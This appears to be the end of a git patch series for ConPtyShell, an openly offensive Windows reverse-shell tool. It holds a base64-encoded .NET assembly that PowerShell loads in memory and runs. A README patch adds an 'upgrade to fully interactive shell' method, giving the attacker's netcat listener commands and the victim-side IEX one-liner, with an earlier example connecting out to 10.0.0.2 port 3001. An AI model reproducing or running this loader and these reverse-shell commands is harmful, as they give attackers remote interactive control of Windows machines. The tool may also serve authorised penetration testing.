AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
$ConPtyShellBytes = [System.Convert]::FromBase64String($ConPtyShellBase64)
[Reflection.Assembly]::Load($ConPtyShellBytes) | Out-Null
$output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell)
From e2b91a3ec3f46b79fa048ccb0dd465c87547861c Mon Sep 17 00:00:00 2001
From: antonioCoco
Date: Wed, 3 Mar 2021 00:35:56 +0100
Subject: [PATCH 5/5] Update README.md
---
README.md | 30 +++++++++++++++++++++++++++++-
1 file changed, 29 insertions(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 61aac45..a53e81f 100644
--- a/README.md
+++ b/README.md
@@ -10,7 +10,7 @@ Then starts 2 Threads for Async I/O:
- one thread for reading from the socket and writing to Pseudo Console input pipe;
- the second thread for reading from the Pseudo Console output pipe and writing to the socket.
-ConPtyShell isn't an "Upgrade to fully interactive" method for your reverse shell, just use it as your reverse shell :)
+ConPtyShell has also the magic button "Upgrade to fully interactive" for your reverse shell, just use it as your needs :)
If you want to know further information regarding ConPty you can find a great article [1] in the references section.
@@ -70,6 +70,30 @@ or, if you upload the ps1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
```
+#### Method 3 - Upgrade
+You can also upgrade your current shell to a fully interecative shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function:
+
+**WARN1: Do not use Invoke-WebRequest if you load the assembly directly in powershell because ConPtyShell won't work properly when multiple sockets (and multiple \Device\Afd) are found in the current process**
+
+**WARN2: Only sockets created with the flag WSA_FLAG_OVERLAPPED are compatible with the upgrade. Non overlapped sockets won't give a nice upgraded shell and it will have locks on I/O operations.**
+
+##### Server Side:
+```
+stty size
+nc -lvnp 3001
+Wait For connection
+ctrl+z
+stty raw -echo
+fg[ENTER]
+```
+##### Client Side:
+Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols
+
+```
+IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80
+```
+
+
#### Change Console Size
In any case if you resize your terminal while you have already open the remote shell you can change the rows and cols size directly from powershell pasting the following code:
@@ -86,6 +110,10 @@ Below in the video you can watch a simulated scenario where on the left terminal
+### Upgrade demo
+
+
+
## References
1. https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/